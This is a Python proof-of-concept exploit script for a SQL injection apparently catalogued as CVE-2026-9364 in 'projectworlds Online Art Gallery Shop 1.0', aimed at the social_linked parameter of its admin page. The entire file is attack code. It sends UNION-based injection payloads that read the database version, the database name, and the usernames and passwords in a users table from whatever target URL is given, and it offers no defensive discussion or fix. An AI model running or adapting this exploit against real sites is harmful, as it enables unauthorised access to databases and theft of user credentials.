import requests
import sys
# CVE-2026-9364 SQL Injection PoC
# Target: projectworlds Online Art Gallery Shop 1.0
# Endpoint: /admin/adminHome.php
# Parameter: social_linked
def exploit_sqli(target_url, payload):
"""
Exploit SQL injection vulnerability in social_linked parameter
"""
# Target endpoint
url = f"{target_url}/admin/adminHome.php"
# Payload for SQL injection
data = {
'social_linked': payload
}
try:
response = requests.post(url, data=data, timeout=10)
return response.text
except requests.exceptions.RequestException as e:
return f"Error: {str(e)}"
def get_database_version(target_url):
"""
Extract database version using UNION-based injection
"""
# SQL injection payload to get database version
payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL---"
return exploit_sqli(target_url, payload)
def get_current_database(target_url):
"""
Extract current database name
"""
payload = "' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL---"
return exploit_sqli(target_url, payload)
def get_users_table(target_url):
"""
Attempt to extract users table data
"""
payload = "' UNION SELECT NULL,username,password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users---"
return exploit_sqli(target_url, payload)
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2026-9364.py <target_url>")
print("Example: python cve-2026-9364.py http://target.com")
sys.exit(1)
target = sys.argv[1]
print(f"[*] CVE-2026-9364 SQL Injection PoC")
print(f"[*] Target: {target}")
print(f"[*] Exploiting database version...")
print(get_database_version(target))